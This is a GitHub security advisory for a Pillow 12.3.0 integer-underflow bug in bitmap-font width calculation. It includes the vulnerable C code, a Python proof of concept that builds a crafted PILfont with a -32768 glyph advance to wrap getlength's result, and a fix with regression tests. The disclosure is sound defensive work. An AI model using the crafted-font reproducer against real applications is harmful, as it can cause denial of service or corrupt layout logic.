Skip to content

Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise

Moderate severity GitHub Reviewed Published Oct 17, 2026 in python-pillow/Pillow • Updated Oct 22, 2026

Package

pip pillow (pip)

Affected versions

< 13.0.0

Patched versions

13.0.0

Description

Summary

Affected Object and Source

Package: Pillow 12.3.0
Source: PyPI sdist pillow-12.3.0.tar.gz
SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce
Sink: src/_imaging.c:2809:15, xsize += dx

Details

The code in Pillow 12.3.0 is:

for (xsize = 0; *text; text++) {
    int dx = self->glyphs[*text].dx;
    if (dx > 0 && xsize > INT_MAX - dx) {
        PyErr_SetString(PyExc_OverflowError, "Width too large");
        return -1;
    }
    xsize += dx;
}

The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves:
dx > 0 => xsize <= INT_MAX - dx
It does not prove the other half of the contract:
dx < 0 => xsize >= INT_MIN - dx
Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.

PoC

"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""

from __future__ import annotations

import struct
from io import BytesIO

import PIL
from PIL import Image, ImageFont


ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537


def bitmap_font(advance: int) -> ImageFont.ImageFont:
    metrics = bytearray(256 * 20)
    glyph_offset = ord("A") * 20
    metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
    font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
    font = ImageFont.ImageFont()
    font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
    return font


def main() -> None:
    font = bitmap_font(ADVANCE)
    print(f"Pillow={PIL.__version__}")
    print(f"control_math={ADVANCE * CONTROL_REPEAT}")
    print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
    print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
    print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")


if __name__ == "__main__":
    main()

Observations from a regular 12.3.0 release build:

Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880

The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.

Impact

The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.

Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.

Recommended Patch and Regression Tests

It is recommended to extend the overflow check to cover both directions:

if ((dx > 0 && xsize > INT_MAX - dx) ||
    (dx < 0 && xsize < INT_MIN - dx)) {
    PyErr_SetString(PyExc_OverflowError, "Width too large");
    return -1;
}

At a minimum, four test cases should be added:

  1. dx = 32767, repeat = 65538 — upper adjacent control (should succeed);
  2. dx = 32767, repeat = 65539 — should raise OverflowError;
  3. dx = -32768, repeat = 65536 — lower adjacent control (should succeed);
  4. dx = -32768, repeat = 65537 — should raise OverflowError.

Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().

References

@radarhere radarhere published to python-pillow/Pillow Oct 17, 2026
Published by the National Vulnerability Database Oct 21, 2026
Published to the GitHub Advisory Database Oct 22, 2026
Reviewed Oct 22, 2026
Last updated Oct 22, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number. Learn more on MITRE.

CVE ID

CVE-2026-96641

GHSA ID

GHSA-4rm8-3hmm-39fg

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.